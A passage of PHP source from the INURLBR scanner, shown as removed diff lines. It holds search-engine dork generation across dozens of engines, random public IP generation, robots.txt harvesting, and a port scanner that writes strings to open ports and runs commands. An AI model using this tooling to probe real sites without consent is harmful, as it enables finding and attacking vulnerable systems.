'www.google.com.do', 'www.google.dz', 'www.google.no', - 'www.google.com.ec', 'www.google.ee', 'www.google.com.eg', - 'www.google.es', 'www.google.com.et', 'www.google.com.np', - 'www.google.fi', 'www.google.com.fj', 'www.google.fm', - 'www.google.fr', 'www.google.ga', 'www.google.nl', - 'www.google.ge', 'www.google.gf', 'www.google.gg', - 'www.google.com.gh', 'www.google.com.gi', 'www.google.nr', - 'www.google.gl', 'www.google.gm', 'www.google.gp', - 'www.google.gr', 'www.google.com.gt', 'www.google.com.ni', - 'www.google.gy', 'www.google.com.hk', 'www.google.hn', - 'www.google.hr', 'www.google.ht', 'www.google.com.ng', - 'www.google.hu', 'www.google.co.id', 'www.google.iq', - 'www.google.ie', 'www.google.co.il', 'www.google.com.nf', - 'www.google.im', 'www.google.co.in', 'www.google.io', - 'www.google.is', 'www.google.it', 'www.google.ne', - 'www.google.je', 'www.google.com.jm', 'www.google.jo', - 'www.google.co.jp', 'www.google.co.ke', 'www.google.com.na', - 'www.google.ki', 'www.google.kg', 'www.google.co.kr', - 'www.google.com.kw', 'www.google.kz', 'www.google.co.mz', - 'www.google.la', 'www.google.com.lb', 'www.google.com.lc', - 'www.google.li', 'www.google.lk', 'www.google.com.my', - 'www.google.co.ls', 'www.google.lt', 'www.google.lu', - 'www.google.lv', 'www.google.com.ly', 'www.google.com.mx', - 'www.google.co.ma', 'www.google.md', 'www.google.me', - 'www.google.mg', 'www.google.mk', 'www.google.mw', - 'www.google.ml', 'www.google.mn', 'www.google.ms', - 'www.google.com.mt', 'www.google.mu', 'www.google.mv', - 'www.google.com.pa', 'www.google.com.pe', 'www.google.com.ph', - 'www.google.com.pk', 'www.google.pn', 'www.google.com.pr', - 'www.google.ps', 'www.google.pt', 'www.google.com.py', - 'www.google.com.qa', 'www.google.ro', 'www.google.rs', - 'www.google.ru', 'www.google.rw', 'www.google.com.sa', - 'www.google.com.sb', 'www.google.sc', 'www.google.se', - 'www.google.com.sg', 'www.google.sh', 'www.google.si', - 'www.google.sk', 'www.google.com.sl', 'www.google.sn', - 'www.google.sm', 'www.google.so', 'www.google.st', - 'www.google.com.sv', 'www.google.td', 'www.google.tg', - 'www.google.co.th', 'www.google.tk', 'www.google.tl', - 'www.google.tm', 'www.google.to', 'www.google.com.tn', - 'www.google.com.tr', 'www.google.tt', 'www.google.com.tw', - 'www.google.co.tz', 'www.google.com.ua', 'www.google.co.ug', - 'www.google.co.uk', 'www.google.us', 'www.google.com.uy', - 'www.google.co.uz', 'www.google.com.vc', 'www.google.co.ve', - 'www.google.vg', 'www.google.co.vi', 'www.google.com.vn', - 'www.google.vu', 'www.google.ws', 'www.google.co.za', - 'www.google.co.zm', 'www.google.co.zw' - ); - - return $_SESSION["random"]['dominio_google'][rand(0, count($_SESSION["random"]['dominio_google']) - 1)]; -} - -################################################################################ -#(CSE)-GOOGLE Custom Search Engine ID RANDOM#################################### -################################################################################ - -function __googleGenericRandom() { - - $generic = array( - '013269018370076798483:wdba3dlnxqm', - '005911257635119896548:iiolgmwf2se', - '007843865286850066037:b0heuatvay8', - '002901626849897788481:cpnctza84gq', - '006748068166572874491:55ez0c3j3ey', - '012984904789461885316:oy3-mu17hxk', - '006688160405527839966:yhpefuwybre', - '003917828085772992913:gmoeray5sa8', - '007843865286850066037:3ajwn2jlweq', - '010479943387663786936:wjwf2xkhfmq', - '012873187529719969291:yexdhbzntue', - '012347377894689429761:wgkj5jn9ee4' - ); - return $generic[rand(0, count($generic) - 1)]; -} - -################################################################################ -#PROXY HTTP BASE FILE########################################################### -################################################################################ - -function __proxyHttpRandom() { - - $proxy_file = (file_exists($_SESSION['config']['proxy-http-file']) ? __openFile($_SESSION['config']['proxy-http-file'], 1) : array()); - $proxy_ = is_array($proxy_file) ? array_merge($_SESSION['config']['proxy-http'], $proxy_file) : $_SESSION['config']['proxy-http']; - - return $proxy_[rand(0, count($proxy_) - 1)]; -} - -################################################################################ -#FILTER UNIQUE DOMAIN########################################################### -################################################################################ - -function __filterDomainUnique($resultados) { - - if (is_array($resultados)) { - - foreach ($resultados as $value) { - - $temp[] = "http://" . __filterHostname($value); - } - - return array_unique(array_filter($temp)); - } - - return FALSE; -} - -################################################################################ -#FILTER IF URL DOMAIN########################################################### -################################################################################ - -function __filterURLif($resultados) { - - if (is_array($resultados)) { - - foreach ($resultados as $value) { - - $temp[] = not_isnull_empty($_SESSION['config']['ifurl']) && strstr($value, $_SESSION['config']['ifurl']) ? $value : NULL; - } - - return array_unique(array_filter($temp)); - } - - return FALSE; -} - -################################################################################ -#GENERATOR RANGE IP############################################################# -################################################################################ - -function __generatorRangeIP($range) { - - $ip_ = explode(',', $range); - if (is_array($ip_)) { - - $_ = array(0 => ip2long($ip_[0]), 1 => ip2long($ip_[1])); - while ($_[0] <= $_[1]) { - - $ips[] = "http://" . long2ip($_[0]); - $_[0] ++; - } - } else { - - return FALSE; - } - - return $ips; -} - -################################################################################ -#GENERATOR RANGE IP RANDOM###################################################### -################################################################################ - -function __generatorIPRandom($cont) { - - $cont[0] = 0; - while ($cont[0] < $cont[1]) { - - $bloc[0] = rand(0, 255); - $bloc[1] = rand(0, 255); - $bloc[2] = rand(0, 255); - $bloc[3] = rand(0, 255); - $ip[] = "http://{$bloc[0]}.{$bloc[1]}.{$bloc[2]}.{$bloc[3]}"; - $cont[0] ++; - } - return array_unique($ip); -} - -################################################################################ -#ACESSING FILE ROBOTS########################################################### -################################################################################ - -function __getValuesRobots($url) { - - $_[0] = "http://" . __filterHostname($url) . "/robots.txt"; - $_[0] = __request_info($_[0], $_SESSION["config"]["proxy"], NULL); - echo "\n{$_SESSION["c1"]}|_[ * ]__\n"; - echo " |[ ACCESSING FILE ROBOTS ]::\n"; - - if (not_isnull_empty($_[0]['corpo']) && $_[0]['server']['http_code'] == 200) { - - $_[1] = array_unique(array_filter(explode("\n", $_[0]['corpo']))); - - foreach ($_[1] as $value) { - - if (strstr($value, 'Disallow:') || strstr($value, 'Allow:')) { - - echo "|_[ + ]__|[ value={$value}\n"; - __saveValue($_SESSION['config']['arquivo_output'], $value, 2); - } - __plus(); - } - } else { - - echo "\t[x][ ERRO ] LOAD FILE ROBOTS.TXT [ COD_HTTP ]:: {$_[0]['server']['http_code']}\n{$_SESSION["c0"]}"; - } -} - -################################################################################ -#Base64 string encryption md5 , hexadecimal, hex, base64 & random string######## -################################################################################ - -function __crypt($url) { - - preg_match_all("#(md5|base64|hex|random)(\()(.*?)(\))#", $url, $_); - $cont = 0; - - foreach ($_[0] as $replace) { - - if (strstr($replace, 'md5(')) - $func = 'md5'; - - if (strstr($replace, 'base64(')) - $func = 'base64_encode'; - - if (strstr($replace, 'hex(')) - $func = 'bin2hex'; - - if (strstr($replace, 'random(')) - $func = 'random'; - - $url = str_replace($replace, $func($_[3][$cont]), $url); - $cont ++; - } - return $url; -} - -################################################################################ -#GENERATE RANDOM STRING######################################################### -################################################################################ -#(PHP4,PHP5) Shuffle an array http://php.net/manual/en/function.shuffle.php - -function random($__) { - $_ = 'A,a,B,b,C,c,D,d,E,e,F,f,G,g,'; - $_.= 'H,h,I,i,J,j,K,k,L,l,M,m,'; - $_.= '1,2,3,4,5,6,7,8,9,0'; - $_ = explode(',', $_); - shuffle($_); - $_ = implode($_, ''); - return substr($_, 0, $__); -} - -################################################################################ -#GENERATE RANDOM DORKS########################################################## -################################################################################ - -function __randomDork($_) { - - $dk[1] = array('view', 'page', 'index', 'file', 'ver', 'web', 'form', 'public', 'map', 'visit', - 'site', 'perfil', 'sistema', 'system', 'cad', 'frm', 'content', 'conteudo', 'graf', 'page', - 'search', 'arch', 'class', 'app', 'galeria', 'text', 'noticia', 'default', 'storytopic', 'home', - 'lenoticia', 'counter', 'todos', 'all', 'principal', 'main', 'pesquisa', 'dir', 'category', 'news_more', - 'info', 'display', 'showrecord', 'download', 'sum', 'produtos', 'Menu', 'guia', 'product', 'about', - 'WebForms', 'proj', 'inter', 'PageText', 'topper', 'notes', 'name', 'redirect', 'open_link', 'artist', - 'curricu', 'resumen', 'top', 'list', 'directorio', 'Project', 'membre', 'photos', 'Contenido', - 'presentation', 'component', 'release', 'article', 'asesores', 'Detail', 'about', 'lire', 'story', - 'memoriam', 'transport', 'journal', 'album', 'community', 'includes', 'ler', 'video', 'configs', 'refer', - 'form_cpf', 'atualiza', 'refresh', 'materia', 'fotos', 'photos', 'itemdetail', 'listcategoriesandproduct', - 'myaccount', 'learnmore', 'powersearch', 'prodbycat', 'prodetails', 'prodlist', 'productDisplay', 'promotion', - 'pview', 'resellers', 'inc', 'oferta', 'layout', 'standard', 'blank', 'path', 'declaration', 'newsitem', 'games', - 'buy', 'readnews', 'event', 'news_view', 'communique_detail', 'kategorie', 'preview', 'faq2', 'comment', 'newsDetail', - 'shopping', 'shop_category', 'product_ranges_view', 'section', 'ages', 'curriculum', 'galeri_info', 'tekst', 'play_old', - 'viewapp', 'padrao', 'sitio', 'head', 'template', 'index1', 'index2', 'index3', 'index4', 'index5', 'mod', 'press', 'gery', - 'index_table', 'mainfile', '_functions', 'phpshop', 'new-visitor.inc', 'Packages', 'editor', 'board', 'advanced', 'pref', - 'q', 'side', 'home1', 'home2', 'home3', 'getbook', 'checkout', 'affiliate', 'addcart', 'product_info', 'showsub', 'library', - 'edition', 'get', 'temp', 'catalog', 'press2', 'company', 'jobs', 'review', 'input', 'cats', 'showmedia', 'event_info' - ); - - - $dk[2] = array('view', 'file', 'ver', 'web', 'form', 'public', 'map', 'site', 'perfil', 'bookid', - 'sistema', 'system', 'cad', 'frm', 'content', 'id', 'action', 'user', 'option', 'area', 'catalogid', - 'tp', 'pg', 'p', 'v', 'a', 't', 'r', 'o', 'm', 'n', 'sec', 'lang', 'search', 'Itemid', 'open', - 'servicoid', 'id_ap', 'artic', 'pag', 'archive', 'ind', 'sigl', 'url', 'link', 'tp', 'cd', 'item_ID', - 'web', 'sourc', 'sitemap', 'go', 'galeria', 'img', 'notic', 'num', 'ter', 'dow', 'type', 'CartId', - 'redir', 'default', 'storytopic', 'topic', 'cod_noti', 'detalhe', 'ler', 'storyid', 'start', - 'click', 'title', 'tmpl', 'templat', 'cont', 'corp', 'contat', 'consult', 'main', 'exib', 'guia', - 'span', 'OpenDocument', 'document', 'codidem', 'pesq', 'print', 'imprimir', 'jobs', 'pic', 'contri', - 'code', 'myPage', 'openPage', 'homepage', 'home', 'inner', 'custom', 'bin', 'IsisScript', 'pid', - 'wxis.exe', 'wood', 'modules', 'kbn', 'chid', 'jump', 'mes', 'ano', 'month', 'year', 'day', 'dia', 'pre', - 'show', 'download', 'summit', 'new', 'coming', 'Category', 'produtos', 'Menu', 'uid', 'Consulta', 'qry', - 'product', 'WebForms', 'proj', 'inter', 'scgi', 'orig_q', 'b1', 'showpage', 'filter', 'Detail', 'about', - 'itemlist', 'memor', 'info', 'website', 'cidade', 'lic', 'materia', 'SEC_', 'includes', 'store', 'ler', - 'reader', 'src', 'theme', 'Boletim', 'busca', 'date', 'video', 'configs', 'exec', 'doc', 'refresh', 'telec', - 'digital', 'materia', 'portal', 'shop', 'photos', 'sales', 'open', 'check', 'token', 'general', 'process', 'ViewType', - 'idCategor', 'intCatalogID', 'Cart', 'maingroup', 'play', 'where', 'mod', 'panel', 'str', 'staff_id', 'buy', 'preview', - 'chapter', 'club_id', 'GLOBALS', 'absolute_path', 'body', 'from', 'pg_ID', 'load', 'systempath', 'conf', 'do', 'x', 'temp', - 'see', 'act', 'middle', 'content', 'q', 'my', 'to', 'nivel', 'arq', 'modo', 'rss', 'pagina', 'opcion', 'loader', 'l', 'this', - 'subject', 'param', 'index', 'tipo', 'second', 'loc', 'cat_id', 'magazin', 'artist_art', 'cID', 'cat', 'message_id', '' - ); - - $dk[3] = array('aspx', 'asp', 'cfm', 'php', 'php3', 'pl', 'cgi', 'py', 'jsp'); - - for ($i = 0; $i <= $_; $i++) { - - $dm = NULL; - $da = $dk[1][rand(0, count($dk[1]) - 1)]; - $dg = $dk[2][rand(0, count($dk[2]) - 1)]; - $de = $dk[3][rand(0, count($dk[3]) - 1)]; - - $__[] = "\"{$dm}/{$da}.{$de}?{$dg}\""; - } - return $__; -} - -################################################################################ -#VALIDATING OPEN DOORS########################################################## -################################################################################ -#(PHP 4, PHP 5) fsockopen — Open Internet or Unix domain socket connection -#http://php.net/manual/en/function.fsockopen.php - -function __portScan($_) { - - // FORMAT PORTS 80, 8181, 22, 21 - $ports = explode(',', $_[1]); - echo "\n{$_SESSION["c1"]}|_[ * ]__\n"; - echo " |[ PROCESS PORT-SCAN ]::\n"; - foreach ($ports as $value) { - - $conc = fsockopen($_SESSION['config']['server_ip'], $value, $_[2], $_[3], 30); - // HOST, POST, ERROR1, ERROR3, TIMEOUT - - __plus(); - - if ($conc) { - - echo "{$_SESSION["c1"]}|_[ + ]__|[ {$value}=\033[1m\033[32mOPEN{$_SESSION["c0"]}"; - (not_isnull_empty($_SESSION['config']['port-write']) ? __portWrite($conc, $_SESSION['config']['port-write']) : NULL); - __saveValue($_SESSION['config']['arquivo_output'], "{$value}=OPEN", 2); - - __plus(); - $_[0]['url_port'] = $value; - (not_isnull_empty($_SESSION['config']['port-cmd']) ? __command($_SESSION['config']['port-cmd'], $_[0]) : NULL); - __plus(); - } else { - - echo "{$_SESSION["c1"]}|_[ x ]__|[ {$value}={$_SESSION["c9"]}CLOSED{$_SESSION["c0"]}\n"; - __plus(); - } - } - echo $_SESSION["c0"]; - fclose($conc); -} - -################################################################################ -#WRITING ON THE DOOR############################################################ -################################################################################ -#(PHP 4, PHP 5) fwrite — Binary-safe file write -#http://php.net/manual/pt_BR/function.fwrite.php - -function __portWrite($conect, $valores) { - - $valores = explode(',', $valores); - foreach ($valores as $value) { - - echo "{$_SESSION["c1"]}|_[ + ]__|[ WRITE SEND={$value}{$_SESSION["c0"]}\n"; - fwrite($conect, "{$value}\r\n") . sleep(3); - __plus(); - } -} - -################################################################################ -#CODE SEARCH ENGINES############################################################ -################################################################################ -//$_SESSION['config']['cod'] = ' - -function __engines($dork, $list_proxy) { - - $dork_ = (not_isnull_empty($dork)) ? $dork : __getOut("DEFINA SUA DORK\n"); - $list_proxy_ = (!is_null($list_proxy) ? $list_proxy[rand(0, count($list_proxy) - 1)] : NULL); - - $confArray = array("list_proxy_rand" => $list_proxy_, "list_proxy_file" => $list_proxy); - - (!is_null($_SESSION["config"]["tor-random"]) && !is_null($_SESSION["config"]["proxy"]) ? __renewTOR() : NULL); - - echo "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ SEARCHING ]:: {$_SESSION["c1"]}{{$_SESSION["c0"]} "; - - __plus(); - - echo (!is_null($list_proxy_) ? "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ PROXY FILE RANDOM ]:: {$_SESSION["c1"]}[ {$list_proxy_} ]{$_SESSION["c0"]} " : NULL ); - -################################################################################ -# SEARCH ENGINE ::: google -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - $randHost = __dominioGoogleRandom(); - $_SESSION["config"]["dork_tmp"] = $dork_; - $_SESSION["config"]["conf_array_tmp"] = $confArray; - __pageEngine($confArray, "GOOGLE - {$randHost}", "https://{$randHost}/search?q=[DORK]&num=1500&btnG=Search&pws=1", $dork_, $postDados, 0, 0, 1); - } - - -################################################################################ -# SEARCH ENGINE ::: bing -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 2) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "BING", "http://www.bing.com/search?q=[DORK]&&filt=rf&first=[PAG]", $dork_, $postDados, 1, 991, 50); - } - -################################################################################ -# SEARCH ENGINE ::: yahoo -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 3) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "YAHOO BR", "http://search.yahoo.com/search?p=[DORK]&ei=UTF-8&b=[PAG]", $dork_, $postDados, 1, 471, 10); - } - -################################################################################ -# SEARCH ENGINE ::: ask -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 4) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "ASK", "http://www.ask.com/web?q=[DORK]&page=[PAG]&qid=[RANDOM]", $dork_, $postDados, 0, 16, 1); - } - -################################################################################ -# SEARCH ENGINE ::: hao123 -################################################################################ - - - if (__validateOptions($_SESSION["config"]["motor"], 5) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "HAO123 BR", "http://search.hao123.com.br/s?tn=[RANDOM]&f=0&wd=[DORK]&haobd=[RANDOM]FG=1&ie=utf-8&pn=[PAG]&showTop=0", $dork_, $postDados, 0, 550, 10); - } - -################################################################################ -# SEARCH ENGINE ::: googleapis -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], 6) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "GOOGLE API", "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&rsz=8&q=[DORK]&start=[PAG]&userip=[IP]&filter=1&safe=off", $dork_, $postDados, 0, 56, 4); - } - -################################################################################ -# SEARCH ENGINE ::: lycos -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 7) || __validateOptions($_SESSION["config"]["motor"], "all")) { - $_ = __request_info("http://search.lycos.com", $_SESSION["config"]["proxy"], $postDados); - $_SESSION["config"]["idPesquisaLycos"] = __getIdSearchLycos($_["corpo"]); - - __pageEngine($confArray, "LYCOS", "http://search.lycos.com/web?q=[DORK]&keyvol={$_SESSION["config"]["idPesquisaLycos"]}&pn=[PAG]", $dork_, $postDados, 0, 24, 1); - } - -################################################################################ -# SEARCH ENGINE ::: uol.com.br -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 8) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "UOL BR", "http://busca.uol.com.br/web/?q=[DORK]&start=[PAG]", $dork_, $postDados, 10, 130, 10); - } - -################################################################################ -# SEARCH ENGINE ::: us.yhs4.search.yahoo -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 9) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "YAHOO US", "http://us.yhs4.search.yahoo.com/yhs/search?p=[DORK]&fr=goodsearch-yhsif&b=[PAG]", $dork_, $postDados, 1, 551, 10); - } - -################################################################################ -# SEARCH ENGINE ::: sapo.pt -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 10) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "SAPO", "http://pesquisa.sapo.pt/?adultfilter=strict&barra=resumo&cluster=0&format=html&limit=10&location=pt&page=[PAG]&q=[DORK]&st=web", $dork_, $postDados, 0, 14, 1); - } - -################################################################################ -# SEARCH ENGINE ::: dmoz -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 11) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "DMOZ", "http://www.dmoz.org/search/search?q=[DORK]&start=[PAG]&type=next&all=yes&cat=", $dork_, $postDados, 0, 800, 20); - } - -################################################################################ -# SEARCH ENGINE ::: gigablast -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 12) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "GIGABLAST", "http://www.gigablast.com/search?k3h=223119&s=22&rat=0&sc=1&ns=100&n=100&sites=&q=[DORK]", $dork_, $postDados, 0, 1, 1); - } - -################################################################################ -# SEARCH ENGINE ::: web.search.naver.com -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 13) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "NEVER", "http://web.search.naver.com/search.naver?where=webkr&query=[DORK]&xc=&docid=0&qt=df&lang=all&f=&r=&st=s&fd=2&start=[PAG]", $dork_, $postDados, 1, 500, 10); - } - -################################################################################ -# SEARCH ENGINE ::: br.baidu.com -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 14) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "BAIDU BR", "http://www.baidu.com.br/s?usm=1&rn=100&wd=[DORK]&ie=utf-8&pn=[PAG]&showTop=0", $dork_, $postDados, 0, 1500, 100); - } - -################################################################################ -# SEARCH ENGINE ::: www.yandex.ru -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 15) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "YANDEX", "http://yandex.ru/yandsearch?text=[DORK]&p=[PAG]&lr=10136", $dork_, $postDados, 0, 30, 1); - } - -################################################################################ -# SEARCH ENGINE ::: www.zoo.com -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 16) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "ZOO", "http://www.zoo.com/Zoo-Site/search/web?qsi=[PAG2]&q=[DORK]&p=[PAG]&fcoid=4&fpid=2", $dork_, $postDados, 1, 211, 20, 10); - } - -################################################################################ -# SEARCH ENGINE ::: www.hotbot.com -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 17) || __validateOptions($_SESSION["config"]["motor"], "all")) { - $_ = __request_info("http://www.hotbot.com/", $_SESSION["config"]["proxy"], $postDados); - $_SESSION["config"]["idPesquisaLycos"] = __getIdSearchLycos($_["corpo"]); - __pageEngine($confArray, "HOTBOT", "http://www.hotbot.com/search/web?pn=[PAG]web?q=[DORK]&keyvol={$_SESSION["config"]["idPesquisaLycos"]}", $dork_, $postDados, 0, 24, 1); - } - -################################################################################ -# SEARCH ENGINE ::: www.zhongsou.com -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 18) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "ZHONGSOU", "http://www.zhongsou.com/third?w=[DORK]&b=[PAG]", $dork_, $postDados, 1, 50, 1); - } - -################################################################################ -# SEARCH ENGINE ::: hksearch.timway.com -################################################################################ - if (__validateOptions($_SESSION["config"]["motor"], 19) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "HKSEARCH", "http://hksearch.timway.com/search.php?query=[DORK]®ion=zh-hant-hk&p=[PAG]", $dork_, $postDados, 1, 12, 1); - } - -################################################################################ -# SEARCH ENGINE ::: find.ezilon.com / USA -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "EZILION USA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=usa&f=", $dork_, $postDados, 0, 215, 15); - } - -################################################################################ -# SEARCH ENGINE ::: find.ezilon.com / ASIA -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "EZILION ASIA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=asia&f=", $dork_, $postDados, 0, 215, 15); - } - -################################################################################ -# SEARCH ENGINE ::: find.ezilon.com / EUROPA -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "EZILION EUROPA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=eu&f=", $dork_, $postDados, 0, 215, 15); - } - -################################################################################ -# SEARCH ENGINE ::: find.ezilon.com / INDIA -################################################################################ - if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "EZILION INDIA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=in&f=", $dork_, $postDados, 0, 215, 15); - } - -################################################################################ -# SEARCH ENGINE ::: www.sogou.com -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 21) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - __pageEngine($confArray, "SOGOU", "http://www.sogou.com/web?query=[DORK]&page=[pag]&ie=utf8", $dork_, $postDados, 1, 20, 1); - } - -################################################################################ -# SEARCH ENGINE ::: api.duckduckgo.com -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 22) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - $postDados = TRUE; - __pageEngine($confArray, "DUCK DUCK GO", "https://api.duckduckgo.com/html/?q=[DORK]&kl=en-us&p=-1&s=[PAG]&dc=[PAG3]&o=json&api=d.js", $dork_, $postDados, 0, 800, 50, 0, 37); - } - -################################################################################ -# SEARCH ENGINE ::: boorow -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 23) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - $postDados = TRUE; - __pageEngine($confArray, "BOOROW", "http://boorow.com/Pages/site_br_aspx?query=[DORK]", $dork_, $postDados, 0, 0, 1); - } - -################################################################################ -# SEARCH ENGINE ::: Google Generic RANDOM -################################################################################ - - if (__validateOptions($_SESSION["config"]["motor"], 24) || __validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], "all")) { - - $randHost = __dominioGoogleRandom(); - $randGeneric = __googleGenericRandom(); - __pageEngine($confArray, "GOOGLE_GENERIC_RANDOM - {$randHost} ID: {$randGeneric}", "http://{$randHost}/cse?cx={$randGeneric}&q=[DORK]&num=500&hl=en&as_qdr=all&start=[PAG]&sa=N", $dork_, $postDados, 0, 5, 1); - } - - -#=============================================================================== -#=============================================================================== -#=============================================================================== -#======================[ MOTORES DE BUSCA ESPECIAIS ]========================== -#=============================================================================== -#=============================================================================== -#=============================================================================== -#=============================================================================== -# SEARCH ENGINE ::: ndj6p3asftxboa7j.tor2web.org / Tor find =================== -#=============================================================================== - - if (__validateOptions($_SESSION["config"]["motor"], "e1")) { - - __pageEngine("TOR FIND", "https://ndj6p3asftxboa7j.tor2web.org/search.php?search_query=[DORK]&page_num=[PAG]&domainchoice=onion", $dork_, $postDados, 1, 5, 1); - } - -#=============================================================================== -# SEARCH ENGINE ::: elephantjmjqepsw.tor2web.org ============================== -#=============================================================================== - - if (__validateOptions($_SESSION["config"]["motor"], "e2")) { - - __pageEngine("ELEPHANT", "https://elephantjmjqepsw.tor2web.orgsearch?q=[DORK]&page=[PAG]", $dork_, $postDados, 0, 29, 1); - } - -#=============================================================================== -# SEARCH ENGINE ::: kbhpodhnfxl3clb4.tor2web.org ============================== -#=============================================================================== - - if (__validateOptions($_SESSION["config"]["motor"], "e3")) { - - __pageEngine("TORSEARCH", "https://kbhpodhnfxl3clb4.tor2web.org/en/search?j=f&page=[PAG]&q=[DORK]&utf8=%E2%9C%93", $dork_, $postDados, 0, 10, 1); - } - -#=============================================================================== -# SEARCH ENGINE ::: search.wikileaks.org ====================================== -#=============================================================================== - - if (__validateOptions($_SESSION["config"]["motor"], "e4")) { - - __pageEngine("WIKILEAKS", "https://search.wikileaks.org/?page=[PAG]&q=[DORK]&sort=0#results", $dork_, $postDados, 1, 60, 1); - } - -#=============================================================================== -# SEARCH ENGINE ::: oth.net ==================================================== -#=============================================================================== - - if (__validateOptions($_SESSION["config"]["motor"], "e5")) { - - __pageEngine("OTN", "http://oth.net/s/s?q=[DORK]&cl=1&skip=[PAG]", $dork_, $postDados, 1, 211, 20); - } - -#=============================================================================== -# SEARCH ENGINE ::: exploits.shodan.io ========================================= -#=============================================================================== - - if (__validateOptions($_SESSION["config"]["motor"], "e6")) { - - __pageEngine("EXPLOITS SHODAN", "https://exploits.shodan.io/?q=[DORK]&p=[PAG]", $dork_, $postDados, 1, 25, 1); - } - - __plus(); -} - -################################################################################ -#INITIAL INFORMATION############################################################ -################################################################################ - -function __startingBanner() { - - echo "\n{$_SESSION["c1"]}[ ! ] Starting SCANNER INURLBR 2.1 at [" . date("d-m-Y H:i:s") . "]{$_SESSION["c9"]} -[ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal. -It is the end user's responsibility to obey all applicable local, state and federal laws. -Developers assume no liability and are not responsible for any misuse or damage caused by this program{$_SESSION["c0"]}\n"; - - $file = not_isnull_empty($_SESSION['config']['arquivo_output']) ? $_SESSION['config']['arquivo_output'] : NULL; - $file_all = not_isnull_empty($_SESSION['config']['arquivo_output_all']) ? $_SESSION['config']['arquivo_output_all'] : NULL; - $command = not_isnull_empty($_SESSION['config']['command-vul']) ? $_SESSION['config']['command-vul'] : $_SESSION['config']['command-all']; - $subcommand = not_isnull_empty($_SESSION['config']['sub-cmd-vul']) ? $_SESSION['config']['sub-cmd-vul'] : $_SESSION['config']['sub-cmd-all']; - - echo (not_isnull_empty($_SESSION['config']['ifemail']) ? - "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILTER EMAIL ]::{$_SESSION["c1"]}[ {$_SESSION['config']['ifemail']} ]{$_SESSION["c0"]}" : NULL); - - echo (is_array($_SESSION['config']['dork-file']) ? - "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DORK FILE ]::{$_SESSION["c1"]}[ {$_SESSION['config']['dork-file']} ]{$_SESSION["c0"]}" : NULL); - - echo (not_isnull_empty($_SESSION['config']['dork-rand']) ? - "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DORKS GENERATED ]::{$_SESSION["c1"]}[ {$_SESSION['config']['dork-rand']} ]{$_SESSION["c0"]}" : NULL); - - echo (is_array($_SESSION['config']['irc']['conf']) ? - "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ SEND VULN IRC ]::{$_SESSION["c1"]}[ server: {$_SESSION['config']['irc']['conf'][0]} / channel: 